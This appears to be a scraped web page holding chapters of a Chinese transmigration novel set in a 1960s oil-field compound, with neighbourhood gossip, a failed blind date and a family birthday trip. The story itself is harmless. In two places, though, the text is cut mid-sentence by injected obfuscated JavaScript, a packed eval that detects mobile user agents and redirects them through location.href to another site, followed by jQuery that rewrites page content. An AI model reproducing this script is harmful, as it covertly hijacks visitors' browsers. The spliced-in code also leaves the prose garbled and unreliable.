刚到四号楼,就见吴春丽搬着一个鼓囊囊的大袋子,艰难地上楼。她低着头,身子也佝偻着,袋子很大,有两个吴春丽那么粗,又长,将视线都遮挡住了。吴春丽上楼上得很吃力,却没有一个人上前帮忙。 方阿婆家的南笙、南海两个熊孩子,还拍着手嘎嘎怪笑:“偷汉子,偷汉子。” 姜楠叹口气,三两步上前,虎着脸,扬了扬胳膊:“再瞎说我揍人了啊。” 南笙、南海小身子抖了抖,这个小虎姑婆可是揍过他们的,两人对视一眼,拉着手嗖嗖嗖上楼,只不过临走前,不忘调皮地伸出舌头,略略略几声。 毕竟是孩子,姜楠也不好太计较,见人走了也不追,径直来到吴春丽身旁,伸手帮忙托着袋子,她问:“春丽,你这是买的什么,这么沉?” 吴春丽瑟缩了一下,像是被吓到了,见是姜楠,这才局促地笑了下。她知道,姜楠姐姐别看长得人高马大,可心肠最软了,每次看到她干重活,都会帮忙,她是最感激姜楠的。她说:“姜楠姐姐,我爷爷让我去买煤。家里煤球用完了,得再添置一些。” 姜楠运了运气,勉强没骂一句老不死的。这个老吴头,明明年纪也不大,整天跟个老太爷一样,家里什么事儿都让春丽一个小丫头做。吴春丽才十四,要是在后世,这就是一个初中都没毕业的小丫头。想到这里,姜楠问:“春丽,你是小学毕业吗?” 听到这话,吴春丽眼眶红了,她摇摇头,吸吸鼻子,小小声道:“没,我读了三年,认了字,我爷就不让我读了。姜楠姐,我要下乡了。我爷爷给我报名的,去大西北。我以后,以后就见不到你了。” 姜楠忍不住在心底骂了一句脏话,这不做人的老头子,先是不想养孙女,见摆脱不了,就给人报名去下乡,还是最辛苦的大西北,不就是贪图西北的下乡补贴多嘛。姜楠很想教训教训这个死老头子,可是别人家的事儿,她也不好贸贸然插手,疏不间亲,她管了也落不到好。 半晌,姜楠叮嘱道:“你年纪小,去了那边别一味干活,多长点儿心眼,别让人骗了,也不能轻易相信人,凡是多思多想,准不会错的。” “嗯。”吴春丽哽咽着点头。姜楠帮着把煤球送到楼道东边第一户,这才摆摆手回家。 姜满城已经下班,在灶台边开始做午饭了。见闺女给吴家帮忙,默默翻个白眼儿。他这闺女就是心善,没被旧社会毒打过。他摇摇头,继续翻炒锅里的小白菜。 “爸,今儿没肉啊?”姜楠探头往锅里看了看,不满地嘟了嘟嘴。她胎穿过来,做了姜满城十六年的闺女,多少对这个老父亲有了感情,撒娇都很自然。 “啥家庭啊,天天吃肉,你可消停点儿吧。没见昨儿还被人惦记上了,今儿要是再吃肉,还不定被说成什么样儿呢。”姜满城倒是时刻不忘挖苦人。他可是最记仇的,不阴阳怪气上一个礼拜,这事儿它就过不去。 姜满城声音虽然不大,但一旁的刘老太可是听得清清楚楚,两家紧挨着,灶台离得也不远。别看老太太们经常聚在一起说话,刘老太可是最不喜欢方阿婆的,今儿改改相亲没成,她本来心情就不好,闻言更是阴阳怪气道:“就是,咱们楼啊,谁家要是吃肉都得被惦记,不独你们家。有些人,脸皮能比城墙还厚。” 别管是不是被人识破了,方阿婆一贯是以柔弱可怜人自居的,她也不接茬,苦着脸继续炒菜。看完热闹她也回来了,还顺道去供销社买了菜呢。大孙子今儿第一天上班,可得吃点儿好的。 想到大孙子今儿去报道,正式成为石油工人了,方阿婆得意的笑了出来,她柔声却坚定地炫耀道:“我家南山今儿去上班了。昨儿接班,领导看我们南山一表人才,还是高中毕业,一下子就给调到修井队去了,以后评上技术员,那可是出息得很呢。小楠啊,你今儿看到招工信息了吗?要我说,女孩子找什么工作,早点儿找人嫁了,不比什么都强?我跟你说,我认识......” “方阿婆。”姜满城声音带着冷意,刹那间冻住了方阿婆的自说自话,“这领导都说妇女能顶半边天,咋了,到你这就成找个人嫁了?这有些话,可不好胡说的。” 方阿婆是南边过来的,不论年纪大小,大家一律方阿婆方阿婆的叫,倒不是乱了辈分。方阿婆也知道,也没计较那么多,听到姜满城的话,她皱着眉反驳道:“我说城子,话不好乱讲的。我这也是为小楠好,她一个女孩子家家的,本来就不好找工 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return 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实际上方南山入职修井队是很自然的,因为他爹生前就是修井队的,只不过死了之后,孙巧莲一个年轻寡妇,不好去修井队跟一帮大老爷们混在一起。虽然她能利用性别优势得到照顾,但多少还是要为孩子们考虑的,只得换了个后勤打扫卫生的活儿。如今孙巧莲把工作让给儿子,自然要去找修井队的领导。领导跟孙巧莲男人共事过,不会不给这个面子,很自然就让方南山入了职。 “南山自然是好的,领导还能不满意?”方阿婆将锅放到餐桌正中间,今儿为了庆祝大孙子入职,她特意去供销社买了半斤肉呢,她扬着头,心疼地说,“南山啊,今儿你入职,家里也没啥好东西给你,就半斤肉,还是你娘辛辛苦苦弄来的。你以后可得孝顺你娘。来,多吃点儿,巧莲也吃。南山以后可得好好干,尽早升职,当上领导,也不枉费你娘为你付出那么多。” 孙巧莲揉揉眼睛,声音都带着哽咽:“娘,说这些干啥。这都是我应该做的。” 方南山是个心思深沉的,在亲人面前也习惯带着面具说话,他对母亲笑笑,柔声道:“妈,队里给我安排了白师傅。您放心,白师傅在油田干了好几年了,人又和气,我会认真跟师傅学,早日出师,孝敬您。” 见母亲感动地直掉眼泪,方南山继续开展情感攻势,只是对象换成了方阿婆,他说:“奶,有好吃的当然要大家一起吃,您年纪这么大了,更应该多吃些。弟弟们还小,也应该补补。”说着,他挑了几筷子肉,挨个儿送到几人碗里,笑着说,“咱们吃饭吧,以后咱们家会越来越好的。” 至于以后对外策略的事儿,还是单独跟他奶说。 方阿婆感动得眼泪涟涟,她抹抹眼泪,乌咽着说:“好了,南山,别夹了。你弟弟妹妹还小,吃不了那么多,这一筷子肉就够了。你娘肠胃弱,吃多了肉不克化。今儿是为了给你庆祝的,你多吃些。” 方南山低头扒饭,嘴角噙笑,又很快收敛。 13. 一大家子 话分两头说,另一侧,姜满城照例旋开收音机,边听曲儿边宣布一条重磅消息:“这周六是你奶生日,明天星期五,吃了晚饭咱们就得回家。哎呦,你们是不知道这老太太有多绝。怕我忘了,愣是让小松跑到单位告诉我。小松一个十岁的男娃,她也放得下心,真是个抠门又狠心的老太太啊。” 姜楠点头,每年都有这么一遭儿,她早习惯了。为了准备她奶过生日用的肉,家里得一个月不吃肉,攒肉票儿啊。当然了,只是明面儿上的,姜楠不是有系统嘛,熟食还是能吃的。 姜满城心眼儿多,自从搬到筒子楼,每次吃饭都关着门,邻居们好奇瞧过几次,见吃的都是姜家能负担得起的,也就没兴趣了。毕竟每个人习惯不同,不能要求谁家吃饭都敞着门吧。立了这个人设后,家里偷吃点儿熟食什么的,可真是太方便了。 这不,一家子如今就偷摸儿拌了半斤猪头肉吃呢。 对于杜老太,姜楠也有些佩服,不得不说,这是个奇女子。 老人家全名杜荷花,今年五十五岁,生了三子一女。老爷子在姜满城三岁的时候就过世了,杜荷花一个寡妇,愣是养大了四个孩子,而且在村里的名声居然还不错,就知道多厉害了。 要问杜老太的绝招,那就是平时柔弱,但时不时发疯,真发疯的那种,敢拎着菜刀砍人的。也不知道老太太怎么那么能耐,刚守寡,就从医院开了个证明,用现代的话说,就是有间歇性躁郁症。其实就是间歇性发疯,听说杀死人都不用偿命的,你说这谁敢惹? 不过据姜满城观察,老太太就是装的。 不说其他的,就说杜老太开证明的时机。那可是刚守寡,最容易被人钻空子的时候。老太太愣是得了这个尚方宝剑。凭借这一纸证明,可是生生让觊觎她的几个混不吝,当晚就吓得尿了裤子。 之后,每次杜老太发疯的时机,保准是村里有好处的时候。 远的不说,就说大队刚成立,大队支书分派活计那会儿。老太太愣是听不懂人话了,疯了两天,把记分员的记录撕了两天。大队支书一想,这样下去可不成,一两天的工分还能记清,这要是长年累月的,可不擎等着闹矛盾嘛。一拍脑袋瓜儿,将记分员换成姜家老大姜满塘。嘿,老太太的病,好了。 把大队支书都气笑了,你想给儿子谋福利,你早说啊,祸祸人家前记分员干啥。不过大队支书也知道,杜老太有医院的证明,他拿这老太太没办法,只能睁一只眼闭一只眼。 再说姜家的几个孩子,老大姜满塘,最憨厚老实的一个人,也最孝顺老太太。要么老太太就算发疯,也得为老大谋福利呢。娶妻尹文娟,当年就生了大儿子姜柏,之后生了姜槐和姜桐两个龙凤胎,在姜家的地位可想而知。后来又生了最小的儿子姜松,就是跑姜满城办公室找他那个黑小子。老大算是四个儿子里子孙最繁盛的一个。如今姜柏都二十了,娶妻姚思思,儿子小姜河都两岁了。 老二姜满坡,鬼心眼子最多,娶妻马红花,两人狼狈为奸,没少动小心思。不过逃不出杜荷花的五指山。马红花生儿子时伤了身,如今仅一个儿子姜桂。 再说唯一的闺女姜满坪,和姜满城是龙凤胎,姜满坪早出生两分钟,成了姐姐。嫁给了村里的殷实人家,老王家小儿子王军,生了对双胞胎儿子王涵、王泽,如今十六年过去,在婆家脚跟那是站的稳稳的。 姜满城想到这一大家子,特别是他娘杜荷花,心里就直乐呵:“哎,周末肯定比筒子楼还热闹。我娘那个人,啧啧,不知道打什么鬼主意呢。还有老二两口子,还不定怎么闹腾呢。” 姜满坡和马红花,可一直觊觎姜满城的工作呢。也不知道这夫妻俩脸咋这么大。 “你可悠着点,那是你亲娘和亲兄弟。”陈金花幽幽道,“明天我去请假,妈都特意通知了,咱们带点儿什么回去?” 这时候可没有一周休两天的,都是只休息一天,毕竟要全心全意为人民服务嘛。所以周六如果要回去,可是要请假的。 “你别管了,我来准备。”姜满城开口道,“买上三斤肉,两斤桃酥,老太太爱吃蜜三刀,我去淘换淘换,看看能不能换上一斤两斤的,再给十块钱,够够的了。” 陈金花点点头,她爹过寿时也是差不多的礼,她没说什么,只道:“要是蜜三刀买不到,换点儿别的点心。绿豆糕啥的,现在是夏天,这个倒是容易买。” “行,你别操心了,吃饭。” 姜楠想着周末可以上山下河,倒是十分开心。这时候的东北农村,还是很原生态的,正值盛夏,植物葱茏,野鸡野兔还是能看见的。如果能打上一两只,嘿嘿,嘿嘿嘿。 姜楠为还不知道在哪儿的兔子傻笑,完全没想到下午,派出所给她带来了个大惊喜。 那封派出所承诺的表扬信,浩浩汤汤送到了家属院。 能这么隆重,还要从油田派出所的属性说起。 油田派出所虽然主管油田的治安工作,但行政上却归地方。派出所沈所长即将破获大案,心情那是前所未有的好。下午要抻着尤爱钱,没事做,就和蓝副所长一起,亲自带着表扬信,到了作业处办公大楼。 派出所跟作业处对接,当然直接去厂办。因此倒是惊动了作业处领导,等秘书叫来姜满城和陈金花,沈所长已经和作业处涂书记聊上了。 涂书记是油田总部调来的,当然认识陈金花,一看是陈总工程师的闺女,那还说什么,当即要领着去家属院,为姜楠扬扬名。 涂书记这也是耍了个滑头,他是间接让陈总工程师欠他一个人情呢。虽然有点儿小题大做,不过在涂书记看来,这买卖不亏。 因此,姜楠下午在家属院,倒是狠狠出了一回风头。又是有作业处宣传部的人围着拍照,又是涂书记、沈所长亲自和姜家合影的,看得裘老太鼻子都要喷出烟了。这是她儿子向东不在,要是她儿子在,有姜家什么事儿。 裘盼儿也嫉妒得眼睛都红了,总是这样,老是这样!姜楠怎么这么爱出风头,不安分!凭什么,姜楠凭什么有这么多人宠着...... 另一边,方阿婆一双眼睛都要黏在秘书拎着的网兜上了。作业处领导为了表示隆重,可是派秘书去买了礼的。麦乳精、罐头、饼干啥的,不是什么贵重东西,但总归是一点心意,毕竟不能让人姑娘白白受伤。 方阿婆虽眼馋,却也知道,这两天得罪了姜家,这便宜贪不上了。心里那个疼啊,哗哗哗往下淌血,别提多难受了。这东西就该给她们家,她家多困难啊,油田就该给她们家捐款,负担她们家的吃喝拉撒。虽然她儿子是病死的,但她儿子是油田职工,怎么说都该多帮帮她们家啊。姜家也是小气,一家两个工人,把东西给她们家又咋了,小气吧啦的,烦死个人。 刘老太也眼馋,她自认为和姜满城关系好,等领导们一走,她一马当先,拉着小孙子的手就堵在姜满城面前,程改改想拉都没拉住,可见老太太想占便宜的心是多么急切。刘老太一如既往的尖声道:“城子啊,领导给你们送了啥?你看小地质馋的都流口水了,不管啥东西,给我家小地质尝两口。这邻里邻居的,小地质才四岁,你总不忍心看小孩子哭吧?” 姜满城对着刘老太灿烂一笑,十分的纯良,而后蹲下身,递给小地质一颗大白兔,柔声道:“小地质,昨天奶奶给你买大白兔了吗?你看叔叔昨天都去买了,今儿供销社还有呢,别忘了。” 说着起身,牵着陈金花和姜楠的手离开。身后,小男孩哇哇地哭:“我要吃大白兔,大白兔......” 大白兔才是小朋友的死穴,百试百灵。 还没下班,姜满城和陈金花将东西拎回家,叮嘱了姜楠两句,又匆匆回去上班了。下楼时,大爷大妈们早换了话题,开始讨论起上午的孙玲玲尤爱钱来。毕竟,见义勇为再好,也敌不过桃色新闻呐。 姜满城脚步一转,默默来到众人身后。原来上午看热闹的人回来,说是老尤犯的事儿有些大,已经交到作业处公安局了,听说油田总部那边的公安局,也要派人下来呢。 第十作业处因为人多,共驻扎了两个派出所和一个总管的公安局,分布在作业处不同区域,共同监管着油田的治安。总管公安局有近百人的巡逻队,时不时开着挎斗摩托到油田前线巡逻,护卫油井和工人的安全。在石油工人眼里,派出所警察还是很有分量的。 姜满城啧啧两声,和陈金花一起悄悄退了出去。他闺女的五百吃瓜币,应该是稳了。 果然,姜楠在家里,刚要泡一杯麦乳精,就听到系统的播报声。 【500吃瓜币已到账,请宿主查收。】 姜楠喜得直搓手,这可是迄今为止赚得最多的一个瓜了。她喜滋滋地躺到床上,打开商城,看看可以买些什么。 2.0就是不一样,商品都能跟后世的某宝某东比肩了,琳琅满目的,还有很多她都不认识。姜楠看得乐颠颠,咯咯咯地笑了出来。 突然敲门声响起,姜楠内心土拔鼠狂吼,她正要买一个包儿啊,皮包,奢华小羊皮,多少年没摸过了啊。她愤怒地关闭页面,起身去开了门。 程改改见姜楠脸色似乎不好,有些拘谨地站在门外,她说:“小楠,刚真是对不起,我奶她......” 姜楠愣了一下,赶紧收敛神色,刚才的事她是完全没放在心上的,她露出个笑脸儿,将人迎进屋,边走边说:“这有啥,你来找我是有事儿?” “没有,我就来看看你。”程改改放松下来,坐在木质沙发上,“我就是在家呆得无聊,来看看你。” 她叹口气,有些羡慕地说:“你多好的,都不用下乡。” “你不是相亲去了吗?怎么样?” 程改改一脸的苦大仇深:“你不知道他家人有多奇葩。” 见姜楠来了兴趣,程改改也不藏着掖着了,属实是上午被刺激到了,她也想找人发泄发泄。 原来上午刘老太和程改改收拾妥当,去了隔壁的二号院六号楼。这个楼里住得大多是特车队的司机。别看出了尤爱钱的事儿,特车司机仍然是吃香的。要不是油水儿多,尤爱钱能贪这么多?他是太过贪心,其实少量地帮大家带些东西,置换置换物资,那是没人说啥的。可尤爱钱打了别的主意,这才出事儿了。 就说这次介绍给程改改的特车司机郑有油,今年有二十二了,家里就他一个儿子,还有个寡母,家里负担轻,刘老太一家还是很满意的。 至于为啥郑有油现在还没结婚,那原因就多了。首先那寡母就不是一个好相与的,刻薄不讲理,恨人有笑人无的,最是见不得别人过得比她家好,在二号院甚至整个家属院都有名的。再就是家里的姑姐多,五个呢,虽说都嫁出去了,还时常帮衬娘家,也算是一个优点。但一个个的,都跟那寡妇老娘学了个十成十,不太讲理。 可就这么一家子,那也是香饽饽。为啥?还不是因为郑有油是司机,家里日子过得不错。刘老太觉得郑寡妇那是没遇见她,只要改改和郑有油相看好了,她可是要打压郑寡妇的气焰的。到时候改改嫁过去,当家做主,可不就能贴补贴补娘家了? 至于程改改,她是一门心思想要早日相亲成功,以避免下乡的。昨天她跟姜楠都去周边看过了,全都没有招工的,她没办法,只能结婚。 祖孙两人心思各异的来到二号院,马媒婆儿等在门口,看两人都穿着新衣服,满意地点点头。她说:“刘大姐,你今儿还算是办了件靠谱儿的事。” 马媒婆也五十多了,比刘老太小一岁,对刘老太的德性知道的还是很清楚的,见她今日没作妖儿,难得的夸了一句。 刘老太昂着头,说她胖她还喘上了:“我啥时候不靠谱过?我就是一个靠谱人儿。” 马媒婆撇嘴,没跟她纠缠这个。三人刚进院,就被一个三角眼薄嘴唇的老大姐拦住,她吊梢着眉毛,斜眼儿问道:“你就是程改改?怎么这么瘦?能生儿子吗?我们家可是一定要生儿子的,而且起码要生三个,你这豆芽菜似的黄毛丫头,行不行啊?” 她将人上上下下溜了一圈儿,很是不满意的样子,她说:“马媒婆儿,你给我家说的可不是这样。你说人水灵,屁股大,保准儿能给我家小弟生儿子的。可你看看,哪里是你说的那样儿的?你这不是骗人吗?” 好嘛,正主还没见到,先被不知道第 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|nmxs8|n|cc|15250798|166133||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 几个姑姐难为上了。 程改改没经过这种事儿,脸都红透了,羞恼得想转身就走。可刘老太是个好斗的,她当即叉腰骂道:“你算那颗葱啊,在这里指手画脚的。都嫁出去的女儿泼出去的水了,少来娘家说三道四,将来你婆家要是休了你,我们可不给你说情!你给我走开,我们是来相看郑有油的,不是来跟你这个刻薄女人说话的。滚,不然我可不客气。” 老大姐其实就是郑有油的大姐郑花布,她可是自告奋勇打前站的。她家就有油一个男娃,相亲可不得所有人动员起来。五个姑姐,分布在二号院的不同位置,主打的就是在女方见到郑有油前,彻底打压住女方的气焰。到那时,郑寡妇出马,再提出陪嫁三转一响、三十六条腿,女方哪里还敢说什么?她们可是打听清楚了,这个程改改高中毕业没工作,急着嫁人的。她们此时不拿捏拿捏,都不配姓郑! 老大姐郑花布毫不客气,利索回骂道:“好你个老姑婆,连男方家的大姑奶奶都敢骂。你也不瞧瞧你家这丫头片子,她配得上我家有油吗?要胸没胸,要屁股没屁股,要不是高中毕业,我们家都不带搭理的。还敢在这里跟我叫嚣,也不打听打听,我家有油一个月挣多少。你家这个改改,可是没工作的!” 两方谁也不肯退让,一路走一路骂,还没到六号楼,五个大姑姐齐聚,把刘老太好一顿喷。程改改是彻底死心了,她就算再想嫁人,也不会跳入这个火坑啊。 她红着眼睛,死命拉住要往楼上找郑寡妇算账的刘老太,她说:“奶,咱走吧。跟这样的人家成亲,那还不如去下乡呢。我是死也不肯嫁到她们家的。” 五个大姑姐一听这话不愿意了,她们是想打压女方的气焰,可不是想搅合黄了相亲。程改改可是高中毕业,文化人,将来生了孩子也能多辅导辅导。郑花布当即拉住马媒婆的手,叫嚣道:“马媒婆,我小弟为了相亲,可是请了假的。你们要是不去,可得赔钱,误工费总得掏吧?” 就不信她们会拿钱!她可是知道的一清二楚,这个刘老太,一号院有名的老抠! 马媒婆也没了笑脸儿,她可是老媒婆了,介绍人相亲没有上千次,也有九百九十九次了,可这么离谱的男方家人,还真是第一次见。她甩开郑花布的手,冷笑一声,道:“你敢跟我马媒婆要钱,我就让你家再也找不到媒婆!” 她哼一声,对着郑家人呸了一口,转头安慰程改改道:“程家女娃,走,咱不去了。今儿这事儿,是马奶奶没打听清楚。以后你相亲的事儿,包在马奶奶身上,我一定给你找一个妥妥的人家。” 刘老太心里的气当即就消了,她一把抓住马媒婆的手,两人利索地往回走。 郑家五个姑姐傻眼了。 这人,咋就走了?她家有油那么好的条件,还有人会走?做人家媳妇儿的,怎么连这点儿气都受不了。哼,她们还不想要这个蠢女人呢。 听到这里,姜楠都震惊了:“所以,你第一次相亲,连人都没见到就回来了?” 程改改点点头,一脸的晦气:“你说这都是什么事儿啊。他家这样的,以为自己是皇帝呢,受气也要嫁过去。我可没那么贱,哼!” “不气,不气。这种人不见也罢。” 两人又说了会儿话,程改改才脸色和缓了些,回去做晚饭了。 【宿主,这周日女主就要登场了,要去看吗?】憋了好久的系统终于开口了。它刚才就想告诉宿主了,谁知程改改来了,憋得它难受半天。 没错,她姜楠不仅穿越了,还是穿书。好在姜楠是胎穿,自带系统的那种,刚开始从2025回到1967,姜楠还各种不习惯。如今十六年过去,姜楠已经是一枚地地道道的五零后了。 姜楠回过神,程改改的相亲经历太过传奇,她还在回味呢,就听到这个消息,当即丢开手,眼睛熠熠生辉,她说:“去,那可是女主哎,怎么能不去。” 【好的。不过宿主在书里,就是衍生出来自动填充的背景板,连路人甲都算不上,咱们的吃瓜任务跟男女主关系不大。】 “那也得去看看热闹啊。”姜楠回道,“女主哎,不是都倾国倾城的,咱也见识见识。再说,十六年了啊,终于等到女主登场,怎么都不能错过啊。” 当初系统告诉她穿书时,她还以为系统在鬼扯。毕竟谁穿书穿到女主还没出生的时候啊,有这么离谱的嘛。 系统也有些无奈,它那时候还是1.8代,还不成熟嘛,时间控制没那么精准,这不是,来早了嘛。 【宿主,我已经升级到2.0了,原文书也带过来了,以后肯定不会出错。】 姜楠:“呵呵,呵呵呵。” 别看《七零囤货女知青的甜蜜日常》小说名字取的‘小清新’,却是走的一路斗极品、遇贵人、捡漏儿的老路。 书中,女知青唐夕从2020年穿越到1967年,成为下乡女知青中的一员。唐夕下乡的地方,正是姜满城的老家西河岸大队,是东北一个普通的小山村。唯一不普通的是,小山村位于油田附近,村里基本每家每户,都有一名石油工人,谁让油田占了他们村的地呢。也是唐夕下乡早,后来下乡的知青,就再没分到过这么好的地方了。 哦,油田占西河岸大队地的事儿,还没发生,估计女主一来就快了。 总之,唐夕利用先知先觉的优势,刻意交好下放到牛棚的‘臭老九’男主一家,同时善待其他下放人员。干农活的时候不忘刻苦学习,在恢复高考后,一举考上沪市大学。改革开放后,利用这些刻意结交的‘贵人’,一步步成为华夏女首富。 姜楠看的时候全当消遣。没办法,她就是一普通得不能再普通的大龄女社畜,每日苦兮兮的加班,唯一不花钱的放松方式,就剩下看小说了。 她,姜楠,就连看小说,都在某茄。 谁也不能让她花钱看小说,谁也不能。 这不,倒霉催的,刚买了房就穿越,算是不花钱的惩罚吗?她刚装修好的温馨小屋啊,虽然只有三十平,但那是她凭自己努力买的啊...... 姜楠第一万次哀叹再也见不到的小屋,却不知道,这周末会迎来多大的热闹。 14. 乡下 时间很快来到翌日傍晚,姜楠的脚就是皮外伤,此时伤口也结了疤,算是好了。姜满城和陈金花下班,也不做饭了,三人简单垫吧了几块桃酥,拎着礼物出门。 蜜三刀到底被姜满城淘换到了,整整两斤半,给家里留了半斤,余下的都拎上了。最显眼的就是用麻绳穿着的三斤五花肉,肥瘦相间,看着就让人流口水。 为啥用麻绳穿着?这不是为了显眼嘛。毕竟啊,钱都花了,当然要让人看到了。姜满城可不是做好事儿不留名的性子,那是恨不得还没做,就宣扬得满世界都知道。 嗯,就是这么明目张胆。 三人出门后,照例迎来了邻居们关心又八卦的询问,特别是刘老太和方阿婆,早猜到姜家要回西河岸了,毕竟每年这时候都要回去的嘛,这不吃完饭,早早守在家门口,见人出来,立马围了上来。 令人没想到的是,第一个开口的竟然是方阿婆。不过姜满城可是毫不意外呢,毕竟占便宜的事,方家可一向是冲在最前面的。有枣没枣儿,打一杆子嘛,万一就成了呢。 方阿婆的小眼神儿在肉上都拔不下来了,她期期艾艾地开口:“满城啊,大热的天儿,你拿这么多肉回去,吃不完是要坏掉的,浪费东西可不好。你看,借我家一斤,也替你排忧解难了不是?等发饷了,阿婆一定还你。你相信方阿婆的为人,阿婆一定会还的。” 刘老太的小眼睛滴溜溜转,倒是没开口,只是觑着姜满城,只要他借了方阿婆,她就是撒泼打滚也得借。都是西户的邻居,可不能厚此薄彼。 方南笙、方南海两个男孩更是躺在地上,扯着嗓子叫嚷:“我要吃肉,我要吃肉。” 方阿婆脸色更加凄苦,见姜满城抱臂笑眯眯看着,却毫无动静,心里骂着没良心,面儿上却抹着眼泪儿,对两个孙子喊:“是奶没本事,不能给你们买肉吃,奶一个寡妇人家,日子过得苦啊。巧莲,快把他们拉起来,咱们人穷志不短,不吃肉也没啥,奶和你娘等下就去挖野菜,一定让你们吃饱。” 姜满城噗嗤笑出来,他冷冷地说:“方阿婆,这可不是解放前吃不饱饭的时候了,咋了,你家这有石油工人的家庭,还吃不饱,靠挖野菜为生?咋,觉得现在的日子不好呗?” 孙巧莲毕竟上过班,知道有些话不能乱说,她赶忙道:“满城,瞧你说的,我们出去挖野菜,也是给家里省点儿钱,不是觉得日子不好。这咋能不好,咱们家家有工人的,都有工资,日子肯定不差。” 姜满城也没想揪着不放,点头说:“哦,这样啊,既然日子不差,那就去买肉吃嘛。南笙、南海,听到了吗?你们家日子不差,不是买不起肉。记得跟你奶、你娘要啊。” 孙巧莲呵呵笑了两声,方阿婆则低着头,一言不发,只是脸色难看得能滴出水儿了,心里狠狠骂了姜满城一通。那么些肉,给她们一斤半斤的怎么了,真是一点儿也不善良。还邻居呢,一家子抠门儿丧良心,缺德冒烟儿。 姜满城才不管她怎么想呢,十分招摇地拎着三斤肉下楼,享受了一路众人羡慕嫉妒的眼光,心里更得意了。 就是这种眼神儿,上辈子从来没人这么看过他,穿越后可算是体验到了,姜满城愈发得意,不得不说,真特么爽啊。 姜满城哼着歌儿来到楼下,三人推着三辆自行车。西河岸大队离油田,骑车也要两个小时。为此,姜满城特意跟同事借了一辆自行车,三人一人一辆。不然带人两个小时,很累的。 姜满城低头将礼物放进车筐,整理了下,抬头,却见多日不见的裘向东远远走来。 作为对照组,裘向东本人的卖相也不差的。一米八的大高个,国字脸,只是皮肤黝黑。即使穿着宽松的工服,浑身肌肉也是鼓囊囊的,一看就是各个时代都喜欢的硬汉形象,跟姜满城这种小白脸完全不同。 他似是刚看到这一家三口,点头笑笑算是打了招呼,却不急着回家,转身加入老头老太们聊天的行列,一副恶补这几日八卦的架势。姜满城挑挑眉,等三人骑车离开家属院,他才喟叹一句:“吴大锤的工作,要遭。” “瞎说啥。”陈金花不解,“吴大锤好好一个大车司机,正式职工,能怎么遭?” “嘿嘿,媳妇儿,你等着吧。这楼里真正心黑的主儿回来了,以后可有好戏看了。”姜满城也不挑明,狂蹬两下自行车,喊道,“看好戏去喽。” 三人一路猛骑,火花带闪电,终于在天全黑之前到了西河岸大队。 此时,姜家早吃完了晚饭,屋里坐满了来凑热闹的人。明天就是杜荷花生日,这年头,农村老太太过生日的,也就杜荷花一个人,可不稀罕嘛。况且,谁不知道城小子今晚回来,不定带什么好东西呢,谁不想看看。还有城小子家的小楠,今儿十六了吧?高中毕业,虽然不太可能嫁到他们大队,但万一呢?谁还不能做点儿美梦呢。 这不,三人刚进姜家院子,自家人还没说啥呢,来凑热闹的倒先招呼上了。 “妈呀,这么多肉,满城你发了?” “别瞎说,哎呦喂,城小子啊,来,大妈帮你拿着,真是,大妈长这么大,就没见过这么好的五花肉。” “哎呦,不愧是石油工人,日子过得就是好,每次回来都大包小包的,可真是有钱。” 这哪里都有嫉妒的人啊,就算是来凑热闹,也有人眼红。不过姜满城仍是笑眯眯的,将手里的肉360度无死角全方位展示出来,矜持地说:“什么有钱没钱的,这可不是钱的事儿。大家说说,我娘辛苦把我们养大,我这做儿子的能不孝顺?大家伙儿看看,我家这是省了两个月的肉票,就为了给我娘过生日的。” 姜满城喜滋滋,他可是花钱了的,人家要看就看呗,他还能赚个孝顺的名声。这不,有人羡慕了。 “城子可真是孝顺啊。” “那可不,哎呦,这肉有三斤了吧?这可真不少了。城子你可真是个大孝子。” “嗐,孝顺父母那还不是应该的。”姜满城拎着肉,笑得可得意了,他说,“这不是快收大豆了嘛,又是我娘的生日,多吃点也是应该的。” 姜楠嘴角抽了抽,她可算是知道为啥一下自行车,她爸就拎着肉不放了,这真是生怕人家看不见啊。 “城小子,累了吧?快进屋喝点水。红糖呢,满塘家的,快曲点红糖水。” 后面站着的姜满塘媳妇尹文娟:呵呵,呵呵呵。 虽然心里不舒服,尹文娟还是转身去了灶房,很快,端着三碗红糖水,去到了正屋。 姜满城自然得很,将礼物递给回娘家的三姐姜满坪,又开始满脸堆笑,满场子和众人打招呼。 “枣花姨,您这身子骨看着可好,比我走得都快呢。” “春杏姑,您可越来越年轻了,这乍一见,我还以为是您闺女油桃呢。” 几句话,逗得一众农妇笑得前仰后合。那开心劲儿,路过姜家院子的人,都忍不住多看两眼。 陈金花脸色不自然地跟在姜满城身后,那笑僵得,跟冻住的猪头似的。 姜楠作为2025穿越人士,最怕的,就是这种七大姑八大姨的社交名场面。任她再社牛,此时也有些佩服她爸。她爸,真是有点儿社牛症在身上的。 三人神态各异地进了屋。屋内,杜荷花一身靛蓝碎花斜襟短衫,下穿黑色小脚裤,盘腿儿坐在炕上,笑得比谁都柔和。仔细一看,那姿态那做派,跟方阿婆还有几分像。只是杜荷花更高壮一些,在农村又操持家务,脸上皱纹比方阿婆多。 “满城回来了?你这孩子,要是忙就不用回来。不就是个生日,我早就说不用过不用过,你们几个不懂事儿的,非得给我过。哎,说也说不听,枣花,春杏,我这在家说话不管用啊。” “那是满塘他们几个孝顺,你啊,就享福吧。” 姜满城抽抽嘴角,这老太太,比他还能装相呢。他配合着正色道:“生日这么大的事儿,哪能不过?您自个儿拉扯我们四个长大,多不容易。我们如今给您过过生日,那还不是该的。” 姜家老大姜满塘嘿嘿傻笑两声,挠着头应和道:“就是,娘,该过生日。” 杜荷花眼神儿飘过二儿媳马红花,马红花身子一抖,心里骂一句老虔婆,到底是扬起笑脸,说道:“娘,就是,哪能不过生日。这不,我家满坡去借盘子了,明儿好几个菜呢,咱们好好乐呵乐呵。” 姜满城眼神闪了闪,见老娘不再开口,心里明白了几分。 